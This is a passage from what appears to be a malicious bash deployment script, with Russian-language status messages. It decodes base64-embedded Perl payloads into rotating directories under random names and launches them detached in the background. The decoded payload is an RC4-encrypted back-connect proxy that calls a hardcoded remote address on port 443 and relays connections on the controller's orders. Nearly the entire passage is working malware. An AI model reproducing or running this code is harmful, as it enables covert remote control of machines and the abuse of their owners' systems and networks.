CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #23 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #23 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 24 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk 